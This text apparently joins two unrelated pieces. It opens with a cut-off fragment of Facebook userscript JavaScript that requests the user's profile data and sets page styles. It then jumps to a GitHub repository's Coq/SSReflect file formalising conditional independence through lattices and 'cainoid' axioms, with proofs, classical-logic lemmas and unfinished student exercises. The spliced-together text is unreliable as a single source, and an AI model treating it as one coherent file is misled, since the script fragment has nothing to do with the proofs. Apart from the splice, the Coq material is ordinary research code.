cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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GitHub Repo https://github.com/kenkinn/cain_conditionalindependence-

kenkinn/cain_conditionalindependence-

(* This file is maintained by Jinfang Wang (wang@math.s.chiba-u.ac.jp). *) Require Import ssreflect ssrfun ssrnat ssrbool ssralg ssrint. Require Import eqtype seq choice bigop fintype finset finfun. (***********************************************************************************************) (* This file contains the scripts related to the following paper, *) (* `Formalization of Probabilistic Conditional Independence Using Coq/SSReflect` *) (* by Jinfang Wang, Manabu Hagiwara and Mitsuharu Yamamoto, *) (* submitted to ITP2015 for possible publication. *) (* *) (* These scripts are compatiable with Coq v8.4 and SSReflect v.1.5. *) (* This file was last updated on 2015/3/12. *) (* *) (* The theory of cain is built upon a bounded lattice. *) (* L == of eqType is a bounded lattice. *) (* bot == bottom of lattice L. *) (* top == top of lattice L. *) (* meet == the binary meet operator, a function of type L->L->L. *) (* join == the binary meet operator, a function of type L->L->L. *) (* ge x y == returns [true] if [x >= y], where x and y are elements of L. *) (* gt x y == returns [true] if [x >y], where x and y are elements of L. *) (* le x y == returns [true] if [x <= y], where x and y are elements of L. *) (* lt x y == returns [true] if [x <y], where x and y are elements of L. *) (* complement_P x y == a proposision if y is a complement of x. *) (* complement_b x y == returns [true] if y is a complement of x. *) (* com x == the complement of x. *) (* *) (* The following are basic components of a cainoid, a pre-form of a cain. *) (* coins == of choiceType is the set of coins. *) (* dot == the dot product, a function of coins. *) (* Mix x y == the Mixed coin . *) (* bob == the unit coin . *) (* up x == the up coin with raising context x. *) (* down x == the down coin with lowering context x . *) (* coin_prod_atomics == an axiom saying that each coin is a product of *) (* finite number of atom coins. *) (* up_injective up == asserting that [up] is an injective function. *) (* down_injective down == asserting that [down] is an injective function. *) (* [up_injective] and [down_injective] are triky and may be removed. *) (* *) (* The following are the five axioms of a cainoid. *) (* dotC == dot product is commutative. *) (* dotA == dot product is associative. *) (* bob_unitL == bob is a unit element from left. *) (* up_down_unitL x == [up x] is the inverse of [down x]; *) (* that is, [dot (up x) (down x) = bob]. *) (* Mix_up_down x y == a property corresponding to the definition of *) (* conditional desity functions in probability theory. *) (* *) (* Definition of independence and conditional independence. *) (* CIP x y z == a proposition for independence of x and y given z. *) (* IP x y == a proposition for independence of x and y. *) (* acinv (x, y) == defines the inverse of the atom coin [Mix x y]. *) (* dot_inv c == defines the inverse of an arbitrary coin c. *) (* *) (* A cainoid satisfies all properties of an abelian group. *) (* These properties can be put together using the record type ZmodMixin. *) (* zmodMixin == ZmodMixin dotA dotC bob_unitL dotV. *) (* zmodType == ZmodType _ zmodMixin. *) (* x \+ y == notation for dot x y. *) (* why not use the notation " _ . _" ? *) (***********************************************************************************************) Set Implicit Arguments. Unset Strict Implicit. Unset Printing Implicit Defensive. (* (*formalization of the fintary case*) Variable T : finType. Variable D : {set T}. Variable X Y Z : {set T}. (*有限集合*) Definition finjoin (X Y : {set {set T}}) := X :|: Y. Definition finmeet (X Y : {set {set T}}) := X :&: Y. Lemma finjoin_commu : commutative finjoin. Proof. apply/ setUC. Qed. Lemma finjoin_assoc : associative finjoin. Proof. apply/ setUA. Qed. Lemma finjoin_absorp : forall X Y, finmeet X (finjoin X Y) = X. Proof. move=> X Y. rewrite finjoin_commu ; apply/ setKU. Qed. Lemma finmeet_commu : commutative finmeet. Proof. apply/ setIC. Qed. Lemma finmeet_assoc : associative finmeet. Proof. apply/ setIA. Qed. Lemma finmeet_absorp : forall X Y, finjoin X (finmeet X Y) = X. Proof. move=> X Y. rewrite finmeet_commu. apply/ setKI. Qed. Lemma finmeet_distr : forall X Y Z, finmeet X (finjoin Y Z) = finjoin (finmeet X Y) (finmeet X Z). Proof. move=> X Y Z. apply/ setIUr. Qed. Definition fincom (X : {set {set T}}) := ~:X. Lemma fincom_bot : forall X, finmeet X (fincom X) = set0. Proof. move=> X. apply/ setICr. Qed. Lemma fincom_top : forall X, finjoin X (fincom X) = setT. Proof. move=> X. apply/ setUCr. Qed. Record lattice_mixin_of (T : Type) : Type := LatticeMixin { join_op : T -> T -> T; meet_op : T -> T -> T; bot_op : T; top_op : T; _ : commutative join_op; _ : associative join_op; _ : forall x y, meet_op x (join_op x y) = x; _ : commutative meet_op; _ : associative meet_op; _ : forall x y, join_op x (meet_op x y) = x; _ : forall x y z, meet_op x (join_op y z) = join_op (meet_op x y) (meet_op x z); com_op : T -> T; com_op_bot : forall x, meet_op x (com_op x) = bot_op; com_op_top : forall x, join_op x (com_op x) = top_op }. Record lattice : Type := Lattice { carrier :> Type; spec : lattice_mixin_of carrier }. Definition finitary_latticemixin := LatticeMixin finjoin_commu finjoin_assoc finjoin_absorp finmeet_commu finmeet_assoc finmeet_absorp finmeet_distr fincom_bot fincom_top. Canonical fin_lattice := Lattice finitary_latticemixin. (*End of the formalization of the finitary Lattice*) *) (* Basic theories on bounded lattice with a bottom and a top. *) Section Lattice. Parameter L : eqType. Parameters bot top: L. Parameters meet join : L->L->L. Axiom join_commutative : commutative join. Axiom join_associative : associative join. Axiom join_absorption : forall x y, meet x (join x y) = x. Axiom meet_commutative : commutative meet. Axiom meet_associative : associative meet. Axiom meet_absorption : forall x y, join x (meet x y) = x. Axiom meet_distributive : forall x y z, meet x (join y z) = join (meet x y) (meet x z). Lemma join_distributive x y z : join x (meet y z) = meet (join x y) (join x z). Proof. by rewrite [in RHS]meet_distributive [meet _ x]meet_commutative join_absorption [in RHS]meet_commutative [in RHS]meet_distributive join_associative [meet z x]meet_commutative meet_absorption [in RHS]meet_commutative. Qed. Lemma join_idempotent(*冪等性*) : idempotent join. Proof. move=>x. move: (join_absorption x x) => Haj. move: (meet_absorption x (join x x)) => Ham. by rewrite -{2}[in LHS ]Haj. Qed. Lemma meet_idempotent : idempotent meet. Proof. move=>x. move: (meet_absorption x x) => Ham. move: (join_absorption x (meet x x)) => Haj. by rewrite -{2}[in LHS ]Ham. Qed. (* Introduce partial order in L *) Definition ge x y := join x y == x. (* <=> (y <= x) *) Definition gt x y := (ge x y) && (x !=y). (* <=> (y < x) *) Definition le x y := ge y x. (* <=> (x <= y)*) Definition lt x y := (le x y) && (x !=y). (* <=> (x < y)*) Axiom bot_minimum : forall x, ge x bot. Axiom top_maximum : forall x, ge top x. Lemma ge_reflexive : reflexive ge. Proof. by move => x; rewrite /ge join_idempotent. Qed. Lemma ge_transitive : transitive ge. Proof. rewrite /ge => x y z /eqP Hyx /eqP Hxz. apply/eqP. by rewrite -Hyx -[in RHS]Hxz join_associative. Qed. Lemma ge_antisymmetric : antisymmetric ge. (*反対称性、x~y & y~x => x=y*) Proof. rewrite /ge => x y /andP [] /eqP Hxy /eqP <-. by rewrite join_commutative. Qed. Lemma join_ge x y : ge (join x y) x. Proof. rewrite /ge. by rewrite -!join_associative [join y x] join_commutative join_associative join_idempotent. Qed. (* [complement_P x y] is a relation between x and y. *) Definition complement_P x y := (meet x y = bot) /\ (join x y = top). (* [complement_b x y] is [true] if y is a complement of x. *) Definition complement_b x y := (meet x y == bot) && (join x y == top). (* Given x of L, [com x] returns the complement of x. *) Parameter com : L -> L. Axiom com_bot : forall x, meet x (com x) = bot. Axiom com_top : forall x, join x (com x) = top. Lemma complement_eqP x y : complement_P x y <-> (complement_b x y) = true. Proof. apply conj. rewrite /complement_P /complement_b => c. apply /andP. destruct c. by rewrite H H0. rewrite /complement_P /complement_b. case /andP => h1 h2. by apply conj; apply/eqP. Qed. Lemma com_P x : complement_P x (com x). Proof. rewrite /complement_P. apply conj. apply com_bot. apply com_top. Restart. rewrite /complement_P. apply conj. by apply com_bot. by apply com_top. Qed. (* Like [ge], [gt] is also transitive. *) Lemma gt_transitive : transitive gt. Proof. rewrite /gt /transitive. move=>y x z. move /andP. case. move=>gxy nxy. move /andP. case. move=>gyz nyz. rewrite (ge_transitive gxy gyz) /=. (*?*) apply /eqP. case. move=>xz. move:nxy. move /eqP. case. apply:ge_antisymmetric. rewrite gxy. rewrite xz. rewrite gyz. by[]. Restart. rewrite /gt => y x z /andP [] gxy nxy /andP [] gyz nyz. rewrite (ge_transitive gxy gyz) /=. apply/eqP => xz. move: nxy. move/eqP. case. apply: ge_antisymmetric. by rewrite gxy xz gyz. Qed. (* an alternative proof *) Goal transitive gt. Proof. rewrite /gt => y x z /andP [] gxy nxy /andP [] gyz nyz. apply /andP; apply conj. by move: gyz; exact: ge_transitive. apply /negP. move=> /eqP xz. rewrite xz in gxy. move: nyz; move /negP. case. apply/eqP; apply: ge_antisymmetric. by apply /andP. Qed. Lemma top_unique y : (forall x, ge y x) -> y == top. Proof. move => Hge; apply /eqP; apply: ge_antisymmetric. by rewrite Hge top_maximum. Qed. Lemma bot_unique y : (forall x, ge x y) -> y == bot. Proof. move => Hge; apply /eqP; apply: ge_antisymmetric. by rewrite Hge bot_minimum. Qed. Lemma join_bot_unitL x : join bot x = x. Proof. by rewrite join_commutative; move: (bot_minimum x); rewrite/ge=> H; apply /eqP. Qed. Lemma join_bot_unitR x : join x bot = x. Proof. by rewrite join_commutative join_bot_unitL. Qed. Lemma meet_bot_unitL x : meet bot x = bot. Proof. move: (join_bot_unitL x). move=> H. by rewrite -H join_absorption. Qed. Lemma meet_bot_unitR x : meet x bot = bot. Proof. by rewrite meet_commutative meet_bot_unitL. Qed. Lemma join_bot : join bot bot = bot. Proof. by move: (join_bot_unitL bot). Qed. Lemma join_top_unitL x : join top x = top. Proof. by rewrite -(com_top x) join_commutative join_associative join_idempotent. Qed. Lemma join_top_unitR x : join x top = top. Proof. by rewrite join_commutative join_top_unitL. Qed. Lemma meet_top_unitL x : meet top x = x. Proof. move: (top_maximum x); rewrite/ge; move/eqP => join_top. by rewrite -[in LHS]join_top meet_commutative join_commutative join_absorption. Qed. Lemma meet_top_unitR x : meet x top = x. Proof. by rewrite meet_commutative meet_top_unitL. Qed. Lemma complement_unique x y z : (complement_P x y) /\ (complement_P x z) -> y = z. Proof. rewrite/complement_P. case => yCx zCx. move:yCx; case=> xy_bot xy_top. move:zCx; case=>xz_bot xz_top. have Hyxz: join (meet x z) y = y. - rewrite xz_bot. by apply: join_bot_unitL. rewrite -Hyxz. rewrite join_commutative join_distributive [join y x] join_commutative xy_top. move: (meet_top_unitL (join y z)) ; move => Hmeet_top. rewrite Hmeet_top. have Hzxy: join z (meet x y) = z. - by rewrite xy_bot join_commutative join_bot_unitL. rewrite -[in RHS]Hzxy join_distributive [join z x]join_commutative xz_top. move: (meet_top_unitL (join z y)); move => Hmeet_top'. by rewrite Hmeet_top' join_commutative. Qed. Lemma join_eq_bot x y : join x y == bot -> (x == bot) && (y == bot). Proof. suff H: forall x y, join x y == bot -> x == bot. by move => Hjoinbot; apply /andP; split; move: Hjoinbot; [| rewrite join_commutative]; exact: H. move => x0 y0 /eqP H. apply /eqP. apply: ge_antisymmetric. rewrite bot_minimum /ge /=. by rewrite -H -join_associative [join y0 x0]join_commutative join_associative join_idempotent. Qed. Theorem ge_bot : forall x, ge bot x -> x == bot. Proof. by move => x /join_eq_bot /andP []. Qed. Lemma minimum_unique: forall y, (forall x, ge x y) -> y == bot. Proof. move => y Hge. apply /eqP. apply: ge_antisymmetric. by rewrite Hge bot_minimum. Qed. End Lattice. (* >>> Begin formalization of the cainoid. *) Section Cainoid. (* Define coins, the dot product, and atom coins. *) Parameter coins : choiceType. Parameter dot : coins -> coins -> coins. Parameter mix : L -> L -> coins. Definition bob := mix bot bot. Definition up x := mix x bot. Definition down x := mix bot x. (* A coin is built as a product of mixed coins. *) Axiom coin_prod_atomics : forall c:coins, {acs:seq (L*L) | c = \big[dot/bob]_(ac <- acs) mix ac.1 ac.2}. (* [up] and [down] are both injective functions. *) Axiom up_injective : injective up. Axiom down_injective : injective down. (* Axioms of a cainoid. *) (* These axioms determine the properties of the dot product. *) Axiom dotC : commutative dot. Axiom dotA : associative dot. Axiom bob_unitL : left_id bob dot. Axiom up_down_unitL : forall x, dot (up x) (down x) = bob. Axiom mix_up_down : forall x y, x != bot -> mix x y = dot (up (join x y)) (down y). (* Basic properties on [bob], the unit of a cainoid. *) Lemma bob_unitR : right_id bob dot. Proof. by move=>x; rewrite dotC bob_unitL. Qed. Lemma down_up_unitL : forall x, dot (down x) (up x) = bob. Proof. by move=> x; rewrite dotC; apply up_down_unitL. Qed. Lemma up_bot_bob : up bot = bob. Proof. done. Qed. Lemma down_bot_bob : down bot = bob. Proof. by[]. Qed. Lemma mix_bot_bot_bob : mix bot bot = bob. Proof. by[]. Qed. Lemma lemma1_1 x : mix x x = bob. Proof. move: (altP (x =P bot)). (*move: (altP (x =P bot)) + caseで場合分け*) case. move=> H. rewrite H. by[]. move=> Hxneqbob. rewrite mix_up_down. rewrite join_idempotent. rewrite up_down_unitL. by[]. Restart. case: (altP (x =P bot)) => [-> | Hxneqbob] //. by rewrite mix_up_down // join_idempotent up_down_unitL. Qed. Lemma lemma1_2 x y : ge x y -> mix x y = dot (up x) (down y). Proof. have [->| Hxneqbob] := altP (x =P bot). (*altP~をスタックのトップに追加し[]があるためcaseを行う。さらに[]の中の->で１サブゴールで出てくるトップを代入する。|の後ろは2サブゴールのトップの名前。*) - move/ge_bot => /eqP ->. (*-は意味なし*) (*by rewrite up_bot_bob down_bot_bob bob_unitL.*) by rewrite up_down_unitL. - by rewrite mix_up_down // /ge => /eqP ->. Qed. Lemma lemma1_3 x y w : x != bot -> ge (join x y) w -> mix x y = mix (join x w) y. Proof. move => Hxneqbot. rewrite /ge !mix_up_down //. - move/eqP => <-. by rewrite -!join_associative [join y w]join_commutative. - apply/eqP => /eqP /join_eq_bot /andP [] /eqP. by move/eqP: Hxneqbot. Qed. (* This lemma concerns transforming a coin identity to another coin identity, by dividing an [up] or [down] coin, or equivalently, by multypling a corresponding [down] or [up] coin. *) Lemma div_up_down : forall (A B : coins) (x : L), dot A (down x) = B <-> A = dot B (up x). Proof. split. - by move=> h; rewrite -[in RHS]h -dotA [dot (_ x) (_ x)]dotC up_down_unitL bob_unitR. - by move=> h; rewrite h -dotA up_down_unitL bob_unitR. Qed. (* Representation of lattice order by a coin identity. *) (* [x <= y] if and only if [mix x y = 1]. *) (*prop1*) Lemma le_mix_bob_eq : forall x y, x != bot -> (le x y <-> mix x y = bob). Proof. split. - rewrite /le /ge mix_up_down; last by[]. rewrite div_up_down bob_unitL join_commutative. by move /eqP ->. - rewrite mix_up_down; last by[]. rewrite div_up_down bob_unitL. move=> Hup. apply up_injective in Hup. move /eqP in Hup. by rewrite /le /ge join_commutative. Qed. Lemma mix_up_ge_down: forall x y, ge x y -> mix x y = dot (up x) (down y). Proof. move => x y. have [-> | Hxneqbob] := altP (x =P bot). - move/ge_bot => /eqP ->. by rewrite up_bot_bob down_bot_bob bob_unitL. - by rewrite mix_up_down // /ge => /eqP ->. Qed. Lemma mix_join_ge_down: forall x y w, x != bot -> ge (join x y) w -> mix x y = mix (join x w) y. Proof. move => x y w Hxneqbot. rewrite /ge !mix_up_down //. - move/eqP => <-. by rewrite -!join_associative [join y w]join_commutative. - apply/eqP => /eqP /join_eq_bot /andP [] /eqP. by move/eqP: Hxneqbot. Qed. Theorem Bayes_Theorem: forall x y, x != bot -> y != bot -> mix x y = dot (mix y x) (dot (up x) (down y)). Proof. move=> x y Hx Hy. rewrite [in RHS]mix_up_down; last exact. by rewrite dotA -![dot (dot (up _) _) _]dotA [dot (_ x) (_ x)]dotC up_down_unitL bob_unitL join_commutative mix_up_down. Qed. Lemma div_down_right: forall A B x, dot A (down x) = B -> A = dot B (up x). Proof. move=> A B x <-. by rewrite -dotA [dot (_ x) _]dotC up_down_unitL dotC bob_unitL. Qed. (* >>> inverse coins*) (* [acinv (x, y)] defines the inverse of the atom coin [mix x y]. *) Definition acinv (ac : L * L) := let: (x, y) := ac in if x == bot then up y else dot (up y) (down (join x y)). (* Now show that [acinv (x, y)] is indeed the inverse of [mix x y]. *) Lemma acinvN : forall ac : L * L, dot (acinv ac) (mix ac.1 ac.2) = bob. Proof. move => [x y] /=. case: (altP (x =P bot)) => [-> | xneqbot]; first by exact: up_down_unitL. rewrite mix_up_down // -dotA [x in dot _ x]dotA. by rewrite [dot (down _) (up _)]dotC !(up_down_unitL, bob_unitL). Qed. (* A cainoid is an abelian group. To show this fact we first show that there exists an inverse coin for an arbitrary coin in a cainoid. *) Lemma dot_inv_sig: forall c:coins, {d | dot d c = bob}. Proof. move => c. case: (coin_prod_atomics c) => acs ->. elim: acs => [| ac acs [d Hd]] ; first by exists bob; rewrite big_nil bob_unitL. exists (dot d (acinv ac)). by rewrite big_cons -dotA [dot (acinv _) (dot _ _)]dotA acinvN bob_unitL. Qed. (* The following function [dot_inv], of type [coins -> coins], defines an inverse for an arbitrary coin of a cainoid. *) Definition dot_inv (c:coins) := sval (dot_inv_sig c). (* The definition for [dot_inv] is indeed a right one. *) Lemma dotV : left_inverse bob dot_inv dot. Proof. move => c. exact: (svalP (dot_inv_sig c)). Qed. (* A cainoid has all properties of an Abelian group. *) (* Now we put all these relevant properties together. *) Definition zmodMixin := ZmodMixin dotA dotC bob_unitL dotV. Canonical zmodType := ZmodType _ zmodMixin. (* Now we introduce the usual plus notation for abelian groups. *) Notation "x \+ y" := (dot x y)(at level 50, left associativity). (* All the properties known to abelian groups can now be exported to a cainoid directly. *) Lemma dotrC: forall a b, a \+ b = b \+ a. Proof. by apply: GRing.addrC. Qed. Lemma dotrA: forall x y z, x \+ (y \+ z) = (x \+ y) \+ z. Proof. by apply: GRing.addrA. Qed. Example dotrA': forall x y z, (x \+ y) \+ z = x \+ (y \+ z). Proof. move=> x y z; apply: Logic.eq_sym; exact: GRing.addrA. Qed. Example dotrA'': forall x y z, (x \+ y) \+ z = x \+ (y \+ z). Proof. move=> x y z; by rewrite dotrA. Qed. Lemma dotrAC: forall x y z, x \+ y \+ z = x \+ z \+ y. Proof. move=> x y z. by rewrite -dotrA [y \+ z]dotrC dotrA. Qed. Lemma dotrACA :forall x y z t, (x \+ y) \+ (z \+ t) = (x \+ z) \+ (y \+ t). Proof. exact: GRing.addrACA. Qed. Example dotr_perm :forall a b c d, a \+ b \+ c \+ d = d \+ c \+ b \+ a. Proof. move=> a b c d. by rewrite [_ \+ d]dotrC [(_ \+ _) \+ c]dotrC [a \+ b]dotrC [d \+ (c \+ _)]dotrA [_ \+ (b \+ a)]dotrA. Qed. (* In an abelian group, the unit element is 0. *) (* So in the ring scope (%R), bob corresponds to 0. *) Lemma bob0 : bob = 0%R. Proof. done. Qed. Lemma dot0r: forall x, bob \+ x = x. Proof. exact: GRing.add0r. Qed. Lemma dotr0: forall x, x \+ bob = x. Proof. exact: GRing.addr0. Qed. Lemma dotNr :forall x, (dot_inv x) \+ x = bob. Proof. exact: GRing.addNr. Qed. End Cainoid. (* The following are experimental *) (* updated 2015/3/26 *) (* Axioms from classic logic *) Axiom peirce_axiom : forall P Q: Prop, ((P->Q)->P)->P. Axiom classic_axiom : forall P:Prop, ~ ~P -> P. Axiom excluded_middle_axiom : forall P:Prop, P \/ ~P. Axiom de_morgan_not_and_not_axiom : forall P Q:Prop, ~(~P /\ ~Q) -> P\/Q. Axiom implies_to_or_axiom : forall P Q:Prop, (P->Q) -> (~P\/Q). Definition peirce := forall P Q: Prop, ((P->Q)->P)->P. Definition classic := forall P:Prop, ~ ~P -> P. Definition excluded_middle := forall P:Prop, P \/ ~P. Definition de_morgan_not_and_not := forall P Q:Prop, ~(~P/\~Q) -> P\/Q. Definition implies_to_or := forall P Q:Prop, (P->Q) -> (~P\/Q). Lemma or_imply_and: forall A B C:Prop, (A \/ B -> C) -> (A->C) /\ (B->C). Proof. move=> A B C H. apply conj. by move=>HA; apply: H; left . by move=>HB; apply: H; right . Qed. (* de Morgran's law: part 1 *) (* previously named not_a_or_b_implies_not_a_and_not_b *) Lemma morgan_not_or: forall (A B : Prop), ~(A \/ B) -> ~A /\ ~B. Proof. move=> A B. rewrite/not. by apply or_imply_and. Qed. (* an alternative proof *) Theorem not_a_or_b_implies_not_a_and_not_b : forall A B, ~ (A \/ B) -> (~ A) /\ (~ B). Proof. move=>A B nAB. split. by move=> HA; apply: nAB; left. by move=> HB; apply: nAB; right. Qed. Theorem peirce_implies_classic : peirce -> classic. Proof. rewrite /peirce /classic. move=> p P nnP; rewrite /not in nnP. by apply p with (Q := False). Qed. (* alternativ coq-proof *) Theorem peirce_implies_classic'': peirce -> classic. Proof. unfold peirce. unfold classic. intros p P nnP. unfold not in nnP. apply p with (Q := False). intros h. apply nnP in h. inversion h. Qed. Theorem classic_implies_peirce : classic -> peirce. Proof. rewrite/classic /peirce. move => nnp P Q HPQ. apply: nnp => np. by apply np; apply: HPQ. Qed. Lemma classic_eq_peirce : classic <-> peirce. Proof. apply conj. by apply classic_implies_peirce. by apply peirce_implies_classic. Qed. Example classic_implies_peirce': forall P Q: Prop, (~ ~P -> P) -> (((P->Q)->P)->P). Proof. move=> P Q nnP H. apply: nnP => nP. by apply nP; apply: H. Qed. Theorem classic_implies_excluded_middle : classic -> excluded_middle. Proof. rewrite /classic /excluded_middle => c P. apply: c. move=> h. apply not_a_or_b_implies_not_a_and_not_b in h. by destruct h as [nh nnh]. Qed. Example classic_implies_excluded_middle': forall P, (P \/ ~ P). Proof. move=>P; move:classic_axiom => c. move: (c (P\/~P)) => HPoP; apply: HPoP. move=> nnPoP. apply not_a_or_b_implies_not_a_and_not_b in nnPoP. by destruct nnPoP. Qed. Theorem excluded_middle_implies_classic : excluded_middle -> classic. Proof. rewrite /excluded_middle /classic. move=> em P nnP. by destruct (em P). Qed. (* an alternative proof *) Theorem excluded_middle_implies_classic' : excluded_middle -> classic. Proof. rewrite /excluded_middle /classic. move=> em P nnP. move: (em (P\/~P))=> H. destruct H as [PnP | nPnP]. by destruct PnP as [HP | HnP]. apply not_a_or_b_implies_not_a_and_not_b in nPnP. by destruct nPnP. Qed. Theorem classic_implies_de_morgan_not_and_not : classic -> de_morgan_not_and_not. Proof. rewrite /classic /de_morgan_not_and_not. move=> c P Q H; move: (c (P\/Q)). apply. move=> H1. by apply not_a_or_b_implies_not_a_and_not_b in H1. Qed. (* an alternative proof *) Theorem classic_implies_de_morgan_not_and_not' : classic -> de_morgan_not_and_not. Proof. rewrite /classic /de_morgan_not_and_not. move=> c P Q H; apply: c; move=> h. by apply not_a_or_b_implies_not_a_and_not_b in h. Qed. Theorem de_morgan_not_and_not_implies_excluded_middle : de_morgan_not_and_not -> excluded_middle. Proof. rewrite /de_morgan_not_and_not /excluded_middle. move=>dm P. apply: dm =>H. by destruct H. Qed. Theorem de_morgan_not_and_not_implies_classic : de_morgan_not_and_not -> classic. Proof. rewrite /de_morgan_not_and_not /classic. move=> dm P nnP. move: (dm P P)=> H. have t: P \/ P -> P. by case. apply:t; apply H; move=> h. by destruct h. Qed. (* an alternative proof using what have already been proved.*) Goal de_morgan_not_and_not -> classic. Proof. move=> dm. by apply excluded_middle_implies_classic; apply de_morgan_not_and_not_implies_excluded_middle; apply dm. Qed. Theorem excluded_middle_implies_implies_to_or: excluded_middle -> implies_to_or. Proof. rewrite /excluded_middle /implies_to_or. move=> em P Q h. destruct (em P). by right; apply: h. by left. Qed. Theorem implies_to_or_implies_excluded_middle: implies_to_or -> excluded_middle. Proof. rewrite /implies_to_or /excluded_middle. move=> to P. destruct (to P P) . by[]. by right. by left. Qed. (* beginner's proof *) Theorem implies_to_or_implies_excluded_middle' : implies_to_or -> excluded_middle. Proof. rewrite /implies_to_or /excluded_middle. move=> to P. move: (to P P) => H. suff: ~ P \/ P -> P \/ ~ P. by move=> h; apply h; apply H. move=> PnP; destruct PnP. by right. by left. Qed. (* previously known as not_a_and_b_implies_not_a_or_not_b *) Theorem morgan_not_and : forall A B, ~ (A /\ B) -> (~ A) \/ (~ B). Proof. move=>A B nAB. move: not_a_or_b_implies_not_a_and_not_b => dm. move: (dm (~A) (~B)) => Hdm. move: excluded_middle_axiom => em. move: (em (~A \/ ~B)) => Hem. destruct Hem. by[]. apply Hdm in H; destruct H as [ h1 h2]. apply classic_axiom in h1. apply classic_axiom in h2. by have t: A /\ B. Qed. (* proof by contradiction *) Lemma contradiction : forall P Q : Prop, (~Q -> ~P) <-> (P -> Q). Proof. move=> P Q. apply conj. move=> nQnP HP. move: excluded_middle_axiom => em. move: (em Q) => emQ. destruct emQ as [q | nq]. by[]. by apply nQnP in nq. move=> H Hq. move/H. by[]. Qed. (* an example using contradiction Lemma *) Example de_morgan_not_and : forall A B, ~ (A /\ B) -> (~ A) \/ (~ B). Proof. move=>A B; apply contradiction. move=> H. apply not_a_or_b_implies_not_a_and_not_b in H. move=>h; apply: h. by destruct H as [HA HB]; apply classic_axiom in HA; apply classic_axiom in HB. Qed. Lemma not_not_and_double_not: forall P Q: Prop, ~(~P /\ ~Q) -> ~ ~ P \/ ~ ~ Q . Proof. by move=>P Q H; apply de_morgan_not_and in H. Qed. Goal forall P Q:Prop, ~(~P /\ ~Q) -> P\/Q. Proof. move=> P Q H. apply de_morgan_not_and in H. destruct H as [HP | HQ]. apply classic_axiom in HP; by left. apply classic_axiom in HQ; by right. Qed. (* prove properties for [gt] *) (* Students should fill in here. *) (* prove the same properties for [le] *) (* Students should fill in here. *) (* prove the same properties for [lt] *) (* Students should fill in here. *) (* prove properties for [le] and [lt] *) (* Students should fill in here. *) (* [remove_last] removes the last element of a list. *) Fixpoint remove_last (T:Type) (l: seq T) := let l' := rev l in match l' with | nil => nil | h::t => rev t end. (* [tail] removes the first element of a list. *) Fixpoint tail (T:Type) (l: seq T) := match l with | [::] => [::] | _::t => t end. (* [big_cons] defines the rule for recursive computation. *) (* [big_cons_dot] (probably not needed) is a special case of [big_cons], with dot operator of coins: c1...cn = c1.(c2...cn) *) Lemma big_cons_dot: forall (cs: seq coins), \big[dot/bob]_(c <- cs) c = let first := head bob cs in dot first (\big[dot/bob]_(c <- tail cs) c). Proof. move=> cs. case: cs. rewrite big_nil /=. by rewrite bob_unitL. move=> a l. by rewrite big_cons /=. Qed. (* Power of a coin, [ncoins n c =c...c]. *) Definition ncoins n c := \big[dot/bob]_(i <- nseq n c) i. (* alternative definition of power using [iter]. *) Definition ncoins' n c := if (n==0) then bob else (iter n.-1 (dot c) c). (* power of a raising/lowering coin *) Definition nups n x := ncoins n (up x). Definition ndowns n x := ncoins n (down x). Lemma updownnK : forall n x, dot (nups n x) (ndowns n x) = bob. Proof. (* FILL IN HERE *) Admitted. Lemma ncoins1': forall n c, ncoins' n.+1 c = dot (ncoins' n c) c. Proof. case. move=>c. by rewrite /ncoins' /= bob_unitL. rewrite /ncoins'/=; move=> n c; by rewrite dotC. Qed. Lemma ncoins0_bob : forall x, ncoins 0 x = bob. Proof. by move => x; rewrite /ncoins big_nil. Qed. Lemma up_power0_bob : forall x, nups 0 x = bob. Proof. move=> x. rewrite /nups /ncoins big_cons_dot/=; by rewrite big_nil bob_unitR. Qed. Lemma down_power0_bob : forall x, ndowns 0 x = bob. Proof. move=> x. rewrite /ndowns /ncoins big_cons_dot /=; by rewrite big_nil bob_unitR. Qed. Lemma up_power1 : forall x, nups 1 x = up x. Proof. move=> x. rewrite /nups /ncoins big_cons_dot /=. by rewrite big_nil bob_unitR. Qed. Lemma down_power1 : forall x, ndowns 1 x = down x. Proof. move=> x. rewrite /ndowns /ncoins big_cons_dot /=; by rewrite big_nil bob_unitR. Qed. Lemma updown1K : forall x, dot (nups 1 x) (ndowns 1 x) = bob. Proof. by move=> x; rewrite up_power1 down_power1 up_down_unitL. Qed. Example up3 : forall x, nups 3 x = ncoins' 3 (up x). Proof. move=>x. rewrite /nups /ncoins /ncoins'. do 3! rewrite big_cons_dot /=. (* big_cons is also ok. *) by rewrite big_nil bob_unitR. Qed. Example down3 : forall x, ndowns 3 x = ncoins' 3 (down x). Proof. move=>x. rewrite /ndowns /ncoins /ncoins'. do 3! rewrite big_cons/=. by rewrite big_nil bob_unitR. Qed. Lemma nups_eq : forall n x, nups n x = ncoins' n (up x). Proof. move=> n x. rewrite /nups /ncoins /ncoins' big_cons_dot /=. elim n. by rewrite big_nil bob_unitL /=. move=> m iH. rewrite big_cons_dot /=. rewrite iH /=. case m=> /=. by rewrite bob_unitR. by[]. Qed. Lemma ndowns_eq : forall n x, ndowns n x = ncoins' n (down x). Proof. move=> n x. rewrite /ndowns /ncoins /ncoins' big_cons_dot /=. elim n => /=. by rewrite big_nil bob_unitL /=. move=> m iH. rewrite big_cons_dot /= iH. case m =>/=. by rewrite bob_unitR /=. done. Qed. Lemma ncoins2_eq: forall n x, ncoins n x = ncoins' n x. Proof. move=> n x. rewrite /ncoins /ncoins' big_cons_dot /=. elim n =>/=. by rewrite big_nil bob_unitL /=. move=> m iH. rewrite big_cons_dot /= iH. case m =>/=. by rewrite bob_unitR. done. Qed. Lemma nupdownK : forall n x, dot (nups n x) (ndowns n x) = bob. Proof. move=> n x; rewrite nups_eq ndowns_eq. elim n. by rewrite /ncoins' /=; rewrite bob_unitL. move=> m iH. do 2! rewrite ncoins1'. have ac: forall a b, dot a b = bob -> dot (dot a (up x)) (dot b (down x)) = bob. - move=> a b ih. - by rewrite -!dotA [ dot _ (dot b _)] dotA [dot _ b] dotC -![dot (dot b _) _]dotA up_down_unitL bob_unitR ih. by rewrite ac. Qed. (* work from here *) (* 2015/3/27 *) (* working with integers using library [ssrint]. *) Require Import ssrint. (* addition of two integers *) Definition addz := intZmod.addz. (* negative numbers are denoted by 